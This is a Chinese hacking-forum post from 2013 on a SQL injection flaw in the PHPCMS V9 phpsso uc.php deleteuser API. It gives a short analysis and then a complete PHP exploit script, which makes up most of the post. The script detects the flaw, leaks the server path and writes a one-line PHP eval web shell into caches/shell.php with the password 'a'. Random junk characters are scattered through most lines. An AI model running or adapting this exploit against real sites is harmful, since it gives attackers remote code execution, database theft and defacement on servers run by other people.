找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2000|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。  a, {. Y, m8 q+ C# V- D
3 l5 s+ ?; I* N( O8 [4 X
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。; g1 t/ `0 N: J$ u

4 n1 Z3 r$ H8 G8 F漏洞分析:
% H0 Y4 V  m, y7 e: R4 e1.未启用ucenter服务的情况下uc_key为空
! W5 z" e: g) X( k0 X7 D( t# Bdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
; p; z# a/ v/ Y7 a$ f2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。, Z+ p* T) A  u: D
    public function deleteuser($get,$post) {0 T, J9 L$ g; P
        pc_base::load_app_func('global', 'admin');- `: u2 }& W1 J1 p; C; P
        pc_base::load_app_class('messagequeue', 'admin' , 0);
9 i; F! z4 I8 r6 Z0 Y# [: i        $ids = new_stripslashes($get['ids']);
& O0 |2 x- h! |; E        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
5 i; k4 |+ R. G' h. ], l3 }SQL语句为
8 y$ s# m' M+ B. I4 k' qSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)2 }( o1 `* T& o1 _4 `

( C4 o+ x5 r5 x6 R$ E7 D6 ?利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
$ c$ L8 c1 a  h! V1 J, R# x<?php* R8 W7 R6 ]. T
print_r('' u6 o& u7 e) j4 e. l: p& Q" w
---------------------------------------------------------------------------, m3 c8 ], q3 `: R: J$ x. Y
PHPcms (v9 or Old Version) uc api sql injection 0day
! v' b' P6 U% F2 j0 A6 ~by rayh4c#80sec.com
5 B4 [. b* S- U0 P: E---------------------------------------------------------------------------
* q- ]8 J; W! O& q0 w');4 e/ U4 Y5 l2 x  q1 x( F+ T

2 R) }% o* a/ o4 R  [& v% A/ hif ($argc<3) {; I/ A1 ?: @) M0 a. k% A
    print_r(', D! y7 z: A" n) e1 V
---------------------------------------------------------------------------; e( _1 W4 h, h) a: }9 r, @
Usage: php '.$argv[0].' host path OPTIONS+ }0 |$ _/ v6 _
host:      target server (ip/hostname)
6 `) K0 s& v& o3 _# F' P8 apath:      path to phpcms
, d5 |6 Y9 }/ ^2 a: e* B, M4 R. I% jOptions:, H4 `; K- w+ D6 N( P# D. ?
-p[port]:    specify a port other than 805 b1 S4 s& q4 f
-P[ip:port]: specify a proxy0 ^  l5 N7 e  a
Example:: y3 Y2 M7 D, \$ N; j' P) [
php '.$argv[0].' localhost /
+ ^& N% B+ B& \' k/ fphp '.$argv[0].' localhost /phpcms/ -p814 v6 |; J& G2 H2 A$ o/ b9 ]5 u
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
8 _3 @* ]; u  Q3 [9 z- j  c---------------------------------------------------------------------------$ ^8 _! c6 m8 h0 ]4 q: F
');
) }: R$ F9 Z1 B! g" q; h( k/ C  p8 s    die;' c, P7 `  m0 F6 F, p6 M/ u! z
}
( w' |. K$ V# U9 V! e* `; ~9 c
$ W$ ?" W* J8 P* Herror_reporting(7);
2 s& G* m. y* R( f3 I( dini_set("max_execution_time",0);
/ |0 w$ q! p1 {7 I- Zini_set("default_socket_timeout",5);
! L, Y1 X8 g3 g) `+ {( f. T3 }" `- O. z: C8 O) E
function quick_dump($string), O7 V% b$ ~6 j) t2 K9 N. o5 T9 y
{
- k5 E+ h! [0 {" f  N  $result='';$exa='';$cont=0;
: I( t& d% D% A8 E7 h1 R  for ($i=0; $i<=strlen($string)-1; $i++)
8 z8 g* c' d5 ]" x8 q4 i# C: z  {+ L% y2 [3 t* C( h
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
5 f" `6 ~1 `4 I3 ?2 D   {$result.="  .";}
; A4 J0 G7 h4 R( G5 [/ t) F   else
! F1 z) P: K4 \6 n   {$result.="  ".$string[$i];}7 p- ?1 J' g, ^1 p0 L0 E  a$ y, s
   if (strlen(dechex(ord($string[$i])))==2)& w- d  g- I. \
   {$exa.=" ".dechex(ord($string[$i]));}" i! @- _& y: {
   else% `) a. _: c0 y8 \4 E' l
   {$exa.=" 0".dechex(ord($string[$i]));}7 Q$ p1 q* Q& x$ G
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
# I5 S- i/ I  Q; a  }2 y, D4 i; l5 e8 G1 e$ E
return $exa."\r\n".$result;
# f0 p9 T& c7 P# x% @}4 y8 F: o1 j+ A+ E3 V
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';- _$ r  {* T) f' r5 ]: o

. G6 H+ [' Y6 g6 I4 Vfunction send($packet)6 s3 @% x  ^1 b1 T5 Z
{: e" ]+ t& T' g7 h. Y* ~1 L! H
  global $proxy, $host, $port, $html, $proxy_regex;8 f4 ^6 @1 B) m& [
  if ($proxy=='') {
" Z8 C/ H4 e9 z' `    $ock=fsockopen(gethostbyname($host),$port);( k' Q2 s6 o7 O9 E! W$ O
    if (!$ock) {* U4 y0 }  _  A) g/ Y/ J6 L: q
      echo 'No response from '.$host.':'.$port; die;8 W( B. A0 f/ ?  s7 [, i& F  U* _
    }& I4 L8 |, X& D8 `+ l! n, K
  }
& A: v8 ^: v3 T+ L  else {
, o# g2 S# u9 ]2 l! @! H        $c = preg_match($proxy_regex,$proxy);
  ^. }! w" a* U6 x5 N& x    if (!$c) {
& U+ o5 t8 r. v1 _7 J      echo 'Not a valid proxy...';die;
: @' \7 F6 c& y1 Y* `& w    }- M9 ~+ F$ \- h! u
    $parts=explode(':',$proxy);4 I3 @& Q4 b) I8 I. f+ h) w1 t+ `( z) [
    $parts[1]=(int)$parts[1];& K6 b% o7 L) A/ U, i
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";8 j  F5 o7 V; g7 E, S
    $ock=fsockopen($parts[0],$parts[1]);4 J! U! ^; g0 K* R2 f
    if (!$ock) {
- D! W( h3 S) {5 D$ \) F7 F, r& r      echo 'No response from proxy...';die;
  y6 H6 n; T+ L  U3 \* s        }
, u8 ]6 W& C1 u  }+ u9 p/ {1 e( i- B  Z; }" J( ]- i
  fputs($ock,$packet);2 b' ]0 C+ {8 B" h3 X9 s% r
  if ($proxy=='') {
( z+ Z; G# K4 ~2 q- d! h7 U    $html='';$ b/ ~+ `7 ~! S1 T! N: A
    while (!feof($ock)) {
! _+ Y8 q8 m( c& K7 z8 {      $html.=fgets($ock);# M$ E' h" R9 L. \3 I: s9 }$ M
    }& Q3 E% f. \7 ~4 s
  }. P' _. _- ]+ {. D- I/ U) J  h
  else {7 V) p; p( A4 C0 u9 V& g/ a
    $html='';! y3 {. W; E. U3 }$ L% N
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {; s9 ]; \' _& F8 `- K, _: i/ m. z
      $html.=fread($ock,1);
: L3 S4 r5 S& J2 I4 K/ _+ c. P    }. x6 I. b; ^: V4 I
  }
6 [: T  {- K0 |$ c3 o7 ]9 s  fclose($ock);. _! a8 V' S# w
}" ]# O% A  I! Q

; v' y6 c( X. ~2 l% M7 [( E$host=$argv[1];
1 {6 Q) ^5 I  d2 m; y8 }7 I$path=$argv[2];
9 n* ?% x' |# E' I8 V$port=80;& u5 T6 v( V, K. h, N/ O
$proxy="";
6 `/ o5 W! R& {$ \7 J* `  jfor ($i=3; $i<$argc; $i++){
& y2 O4 l7 F. @' r8 I$temp=$argv[$i][0].$argv[$i][1];/ Z$ W& L& d. S0 z7 p
if ($temp=="-p")! u: _0 Q7 f2 o- w. n
{
* E. \1 n- k- P, K9 r  $port=(int)str_replace("-p","",$argv[$i]);; [6 [$ L$ z" N! s  o% g; U) l, {# @) B
}8 X8 ?7 c1 R1 o1 V% M& L* z
if ($temp=="-P")
7 ^6 v$ t2 M; o. X) t: A5 R{
8 c' G0 L4 U5 z/ R$ M* w  $proxy=str_replace("-P","",$argv[$i]);" P. H0 N1 t* X) C/ ^; q
}
5 Z3 y/ w2 b9 |" g}
) X+ S0 \- r$ o2 b% P$ `5 _: U+ m# {) Z0 Z. f, x
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
7 F9 T) z& q- P0 n6 f  _if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}# m" o" Q9 L# R; M1 `" l/ k8 y

* a. ~: U7 d+ D  S5 N7 ]function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {, c% Z- G8 c; N$ i
$ V' @% B/ X! M% G; v0 G  i. k* u/ A- ?
    $ckey_length = 4;
5 V0 ~8 J) `+ X9 f" Y/ h4 ^2 q7 K" M& T0 S0 M. R
    $key = md5($key ? $key : '');
' h# n$ d) \& h# R6 R    $keya = md5(substr($key, 0, 16));
$ c& Y4 Q! J0 H, U    $keyb = md5(substr($key, 16, 16));
6 v* n; c$ ]: }8 }( C4 t$ I7 y5 Z    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';" W- L) X- n6 L8 P  c' n

4 H; Q; ^! E. q# c4 U( ~    $cryptkey = $keya.md5($keya.$keyc);
' ]# S+ h: W- V  O    $key_length = strlen($cryptkey);
' B  Q& h; c7 H: |6 o7 r
9 @: H8 V: P8 l& [% d% M    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;" f  C7 p1 @4 O8 ~5 r: V
    $string_length = strlen($string);. x# H* z  I4 _$ ]; |

+ L$ n! W5 F9 [4 u    $result = '';
4 m% W$ |! {/ e5 m7 k, F4 O    $box = range(0, 255);& n2 u- N' w5 b4 i

6 L  Q6 w. C0 u& n) x% n    $rndkey = array();
4 s( w5 L$ y% Q' y* ^3 l    for($i = 0; $i <= 255; $i++) {- ~( P! k" m# e- {! M8 F
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);- l1 ^( w8 L6 I2 H- u7 w
    }
1 U( n4 ]. T6 l9 c5 e2 J8 o% N" V* Y1 `: q% a
    for($j = $i = 0; $i < 256; $i++) {
" {6 @& h; K$ y1 W+ K        $j = ($j + $box[$i] + $rndkey[$i]) % 256;1 o! r* N8 t; Y" u
        $tmp = $box[$i];" j6 M3 N5 m% r7 Z
        $box[$i] = $box[$j];9 ?  k: ?- x& a3 x8 n  O
        $box[$j] = $tmp;; ^' |0 B; o$ j/ }$ `/ T
    }
# ~8 c; z  ~: ]9 V1 V2 e  H) [% Q9 r: g  |' B
    for($a = $j = $i = 0; $i < $string_length; $i++) {
; @9 p0 e0 @2 v3 r$ x# U. C/ z        $a = ($a + 1) % 256;
- }9 P0 h6 {& w$ X; ^5 W0 K        $j = ($j + $box[$a]) % 256;
$ x5 M7 r- }. [; ~% r7 y! ]8 j        $tmp = $box[$a];( w3 p( p3 ~- p
        $box[$a] = $box[$j];+ a5 t; b( N. W! ]
        $box[$j] = $tmp;) F$ |8 {) A9 }9 B+ }' C
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
* X' A2 n, ^5 h3 l0 k, Y2 ?    }
8 t. ~: M3 G" Q; ]9 u; ~1 \8 @5 y. m  C1 e
    if($operation == 'DECODE') {4 t$ f, m# p, w  Y
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
. t) D# Q; o! h: S! d            return substr($result, 26);
1 z5 y8 `: S' @" j* F* s        } else {
0 }9 R9 J# ^3 ]5 z4 b            return '';0 J! i4 D" z" C% K' S$ u& i5 P
        }
, d% z7 [" D5 G5 y4 a8 {" E2 f    } else {
* z0 m+ R  S3 _* v+ |$ N1 H        return $keyc.str_replace('=', '', base64_encode($result));% [- W7 b& ~) E8 |. W) E5 F
    }2 o1 `% `% P- \' f5 q- v$ g+ m
  P3 K" {+ D2 e  I1 Y
}8 ]/ ]9 H# P+ \, s# [9 i

: ^! V6 O, [" d4 f- T, W6 P$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";: J) U0 D7 q! q0 O5 |! W
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
) [/ x+ u1 y% R7 Y3 i( {2 j: o, C& becho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";3 O2 W' {. C/ X
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";( I2 s$ h9 m0 e2 S
$packet.="User-Agent: Mozilla/5.0\r\n";5 o4 n  W9 Z  W+ s' v3 x+ y) G
$packet.="Host: ".$host."\r\n";$ K, F5 u7 w. O$ z9 C  F
$packet.="Connection: Close\r\n\r\n";
6 ^* C7 x' o, v' d6 a  hsend($packet);
5 A) ]$ Y7 {5 X! @" b) a! W( a# Gif(strpos($html,"MySQL Errno") > 0){
; S$ n% P- b* Eecho "[2] 发现存在SQL注入漏洞"."\n";
- Z) u/ ~- i: pecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";4 [% j. _- h5 Y8 J6 `' S
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";( r. W  H. I3 `8 V' P3 p
$packet.="User-Agent: Mozilla/5.0\r\n";) n. \: o7 \7 S
$packet.="Host: ".$host."\r\n";
" `% L2 I, }  N1 A5 S8 ]0 \$packet.="Connection: Close\r\n\r\n";
/ E0 D- C8 U6 m6 P9 M: V! bsend($packet);5 _" N2 z6 F3 F
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);# \! a2 B) y; N) {' T
//print_r($matches);- F" ]9 _; G7 V- M. x
if(!empty($matches)){3 U1 ^8 K+ u( L0 l9 o
echo "[4] 得到web路径 " . $matches[0]."\n";- w2 I2 E6 z! x5 }1 X, w! f+ w$ x
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
* V5 f, s3 K% ], T9 d& D( f$SQL = "time=999999999999999999999999&ids=1)";9 C& c2 o/ y* b$ T6 E4 K
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";: Z" Y) c; K3 T6 s. a) o
$SQL.="&action=deleteuser";
6 R: L8 T: X& N" y2 Z1 `1 l$SQL = urlencode(authcode($SQL, "ENCODE", ""));
9 g9 [1 ~; a+ [" D5 [8 U2 R! decho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- w3 V  B+ Q& c2 W
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
3 X6 V' N0 u3 p% @; u6 \  q$packet.="User-Agent: Mozilla/5.0\r\n";& ^1 y% s" x. {1 Y! |; C4 J0 T
$packet.="Host: ".$host."\r\n";2 [$ D3 E( R+ q2 d' L/ `! B
$packet.="Connection: Close\r\n\r\n";$ T5 y* l6 U5 j. l0 f/ L4 N' C
send($packet);  U! \2 P$ c/ y) _1 N
if(strpos($html,"Access denied") > 0){
, ^" `4 b" r% S# K" \echo "[-] MYSQL权限过低 禁止写入文件 ";
% R) p& ?' @9 Ndie;
+ t/ h8 F' @0 F, [+ r) {! ?! u. E/ R8 _}
" c5 t' s6 W' m( |7 B4 ]echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
+ _; T: @9 |, a! Y9 @$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
6 d7 a+ y# \3 f4 ~$packet.="User-Agent: Mozilla/5.0\r\n";
+ J" F1 P' `. }. _/ _$packet.="Host: ".$host."\r\n";2 i: ?" o* l8 j$ s- h/ t
$packet.="Connection: Close\r\n\r\n";
9 n6 _  p' O& {; F0 ]( u) S' xsend($packet);1 C7 I# ^, B( C# q! T
if(strpos($html,"<title>phpinfo()</title>") > 0){; Y& a0 r  i/ `# C2 v4 }4 H
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";9 O. S. R* Y$ j# U
}
$ z' M8 ~" K& O, D}else{
4 _9 ?$ l* v% W! h' X. becho "[-]未取到web路径 ";
; x8 ?/ F) J- \4 a- n}
" i1 G: Q0 y+ R4 b}else{
. K6 s" o9 @) [# p  pecho "[*]不存在SQL注入漏洞"."\n";
$ q) ~, H6 K: k- ~" B$ s}/ z8 J3 |/ z" ^
) y' `$ y+ N% \9 b; g
?>0 s6 H0 I0 p0 l! y- t0 {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表